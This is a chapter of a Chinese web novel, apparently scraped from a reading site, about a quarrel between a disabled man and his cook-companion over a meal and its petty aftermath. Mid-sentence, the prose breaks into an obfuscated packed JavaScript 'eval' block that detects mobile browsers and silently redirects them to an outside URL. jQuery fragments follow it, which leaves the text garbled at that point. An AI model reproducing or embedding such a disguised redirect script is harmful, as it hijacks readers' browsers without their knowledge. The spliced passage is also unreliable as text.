123读书网 > 都市小说 > 小太阳穿书爆改没嘴文学 > 15.第 15 章
    ——“抱歉,您的腿我们已经尽力了,重新站起来的几率实在是……”


    ——“唉,真可怜,年纪轻轻双腿就废了,再也不能站起来。”


    ——“哈哈哈哈,没想到你也有今天?沦为残废的感觉如何?”


    无数低语萦绕在耳边,或怜悯或嘲讽,但无一不在提醒着自己残疾的事实。


    宛如梦魇般,纠缠不休,摆脱不了。


    自从车祸以后,厉言川就知道,自己变得比之前更敏感多疑。


    不仅对他人的视线格外敏感,对他人的敌意也极度尖锐,比从前更甚。


    作为从小生活在恶意之中的人,厉言川深谙如何保护自己,从来不会对外展示弱点。


    因为他知道,一旦暴露出脆弱之处,就会有豺狼循着味狠狠咬下,试图将自己一击毙命。


    可双腿残疾这事,无疑是一个巨大,但却无法遮掩的弱点。


    只需一眼,就能知晓。


    也自然会有人借此攻击。


    对此,厉言川不得不竖起比以往更尖锐的刺,排斥一切潜在的敌意,以更凶狠的态度来保护自己。


    因为只有这样,他才能在弱肉强食的环境中生存下去。


    而今天宋年随口一句不需要帮忙的话,却仿佛无意识按下了开关,提醒着厉言川自己残废了的事实。


    自卑与偏执在发酵,再加上一句“吃什么补什么”,像极了暗示性的讽刺话语,更是成了催化剂,引燃了炸弹。


    对于向来以最坏的恶意揣测所有人的厉言川来说,这便是明晃晃的挑衅。


    “啊?我、我没有……”


    听见对面人带有极强压迫感的话语,宋年下意识缩了缩脖颈,小声地辩解,并不知道自己哪做得不对。


    对于煮猪脚给人吃这事,他没有任何别的想法,只是单纯想给人补补身体。


    他知道生病之人是脆弱敏感的,可能自己无心触碰到了其伤心之处,便连忙解释起来:


    “我只是想着你最近有点缺营养,所以……”


    可话还没说完,就被人打断。


    “看见我这副样子,你是不是觉得特别可笑,或者特别可怜?”


    厉言川冷笑一声,眉眼锋利,冷得像冬日刺骨的风雪。


    可这笑容里却不带任何笑意,宋年恍惚在其中瞥见了几分破碎。


    “我难道不清楚自己的身体状况吗,还需要你借这种方式来提醒我吗?!”


    他近乎歇斯底里地喊了出来。


    “你也觉得很可笑吧,坐在轮椅上像个废人一样,什么都干不了!”


    “我绝对没有这么想!”


    闻言,宋年焦急地反驳道。


    他能看出来,现在厉言川的状态不太对。


    ——两眼猩红,目光空洞,大口大口喘着气,捏紧的拳头青筋暴起,已经陷入情绪失控的边缘。


    其实,厉言川同样也能察觉到自己不太对劲。


    可是他控制不了自己,满腔的恶语不受控地要往外吐。


    仿佛这样一股脑地宣泄出口,才能发泄出内心因落差导致的阴暗,才能证明自己坚持的价值观是正确的。


    ——不会有人无缘无故对自己好,不会有人怀揣善意靠近自己,所以宋年一定是有目的,或者有恶意的。


    “你也装够了吧?当初表现得那么卖力,想要取得我的信任,但是你心里一定是在嘲笑现在的我吧。”


    说着,厉言川自嘲地笑了笑。


    “我没有。”


    宋年抿了抿嘴唇,知道现在和人正面沟通是无用的,决定先转移话题。


    “别说这些了,吃饭吧。”


    他转过身,将盛好米饭的碗放到人面前,轻轻拍了拍人的肩膀。


    “滚!”


    像是应激一般,肩膀刚被人触碰到,厉言川就猛地拍开了他的手。


    这一拍动作幅度太大,连着桌上的碗也被撞翻,骨碌碌摇晃着,最终滚落在地,摔了个粉碎。


    还有其中盛着的米饭,也撒了一地。


    “你干嘛啊!”


    吵归吵,别浪费粮食啊!宋年心疼极了,忍不住跺脚喊道。


    被碗碎裂的清脆声响拉回神智,厉言川短暂地愣了愣。


    而当他余光捕捉到人又气又急的脸颊,还有微微泛红的手背时,神色流露出一丝茫然,又在敛眸的片刻消散。


    他嘴唇开合动了动,像是想说什么。


    但最终没吐出来任何音节。


    只是嘴唇比刚刚抿得更紧,攥紧的双拳捏住扶手,骨节发白。


    “你不开心归不开心,摔碗做什么。”


    宋年质问道,不自觉拔高了音调。


    要怎么解释自己并不是故意的。


    可仔细想想,似乎也没有解释的必要。


    厉言川拳头攥得更紧,板着一张脸,没有言语,紧接着沉默地转身离开。


    直到电梯门关上,他都只给人留下一个背影,没有回头。


    “真是的。”


    看着人默默离去,宋年小声嘟囔。


    其实他并没有因厉言川的恶语相向而不爽,只是在为被浪费的食物心疼而已。


    他知道厉言川经历的一切,明明曾经是身居高位之人,却在一场车祸后不得不屈居轮椅之上。


    这样的落差不亚于从天堂坠至地狱,任谁都接受不了,会情绪失控也是人之常情。


    但就算这样,也不能浪费食物嘛!


    盯着地上的米饭,绕是好脾气的宋年也不由得生出几分埋怨,可惜地蹲下身来打扫地面。


    “坏东西,讨厌鬼……”


    一边收拾,他一边小声碎碎念骂人,发泄心中的不满。


    那嘀嘀咕咕的样子,像极了一只墙角里散发怨念的大蘑菇。


    不吃拉倒,这桌子大餐我自己吃。


    收拾完残局,宋年哼了一声,独自坐下,化悲愤为力量般,端着碗大口大口吃了起来。


    ————


    而另一边,厉言川回到了房间。


    他只身坐在窗边,微微低下头来,并没有心情欣赏屋外的风景。


    冷静下来后,他才反应过来自己方才过于失态了。


    与宋年争执的画面,还有人受伤的表情不断涌上心头,在脑海内循环重演。


    一遍遍地提醒着他自己究竟说了什么。


    忽然间,一种陌生的情绪占据了心房。


    厉言川深呼吸一口气,好不容易才压下心底的烦躁。


    其实,他本无意伤害宋年,清醒过来后就后悔了,可又不知该说什么,只得沉默离开。


    他知道,自己的心里本就阴暗扭曲,而在车祸后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236943|197553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这种不健康的心理状况更甚。


    或许宋年真的没有任何恶意,可当时的他控制不住自己,忍不住要以尖锐的攻击性回馈所有可能的善意。


    如今心中这股从未有过的陌生情绪,大概就叫做愧疚。


    一回想起宋年被指责时的无措,厉言川就止不住皱紧眉头,额间青筋突突直跳。


    他只得揉了揉太阳穴,试图让自己冷静下来。


    不知道自己上楼后,宋年有什么反应?


    怀着这样的好奇,厉言川打开电脑,调出了一楼的监控。


    ——其实为了安全,别墅内部一直装有监控,但是房间内没有,只有宋年的房间在入住后让助理额外增添了摄像头。


    餐厅处的监控画面被调出,显出了宋年的身影。


    只见他先是在原地站立片刻,像是有些许茫然,然后默默蹲下身来,打扫起地上的碎片。


    由于碎碎念骂人的声音太小,没有被监控收录到,所以从厉言川的角度看来,宋年在被无端指责后,就那么一声不吭地,独自收拾起残局。


    并且事后还孤零零一人继续坐在桌边,埋头吃起饭来。


    如此单薄的背影,纤细脆弱,显得这般无措,惹人心疼。


    霎时间,更强烈的内疚仿佛海浪般席卷而来,令极少领会这种情绪的厉言川无措起来。


    自己是不是该做点什么?


    用手捡起地上碎片时,他会不会受伤?


    他心里会怎么想?会不会厌恶自己了?


    相对应的,压抑下去的烦躁不安再次澎湃翻涌,心底像是有一团熊熊烈火在燃烧般,灼得他坐立不安。


    他皱起眉头,关闭了监控画面,脱力似的向后一靠,难耐地抹了一把脸。


    不知是出于内疚,还是其他,虽然中午闹得不可开交,但晚饭时厉言川还是准时出现在了餐厅。


    他也不知道自己为什么要下楼,也不清楚等会面对人该说些什么。


    相比他的躁动不安,宋年似乎平静得多,见人来了,只是淡淡地瞥了其一眼,然后转身就围上围裙进了厨房。


    一句话都没说,看样子也是在闹脾气了。


    厉言川低头沉思,眉眼间的情绪被晦暗的阴影所遮盖。


    很快宋年就端着一个碗走了出来,面无表情地放到了人跟前。


    碗底磕在大理石桌面上,发出不大不小的清脆声响。


    “宋年。”


    见状,厉言川抬起头来,辨不出情绪的嗓音喊着人的名字。


    对于不会道歉的他,这已经算是一种服软。


    可宋年不吃这套,胆子很大地没有理他,掉头又进了厨房。


    生气也是理所应当的,毕竟能不被自己的脾气赶走的人很少。


    或者可以说几乎没有。


    想到这,厉言川嘴角扯出一个自嘲的笑,低头看向跟前的碗。


    在看清里面的菜后,他愣了愣,动作明显一顿。


    方才脑海里复杂的情绪,登时被一片空白所取代,厉言川脸上浮现出一抹短暂的迷茫,但很快被气得笑了出来。


    还记得今中午宋年说过的话——“吃什么补什么”。


    而碗里盛着的,正是一盘猪脑。


    还特意做成了麻辣口味。


    这么拐弯抹角地骂人,宋年,真有你的。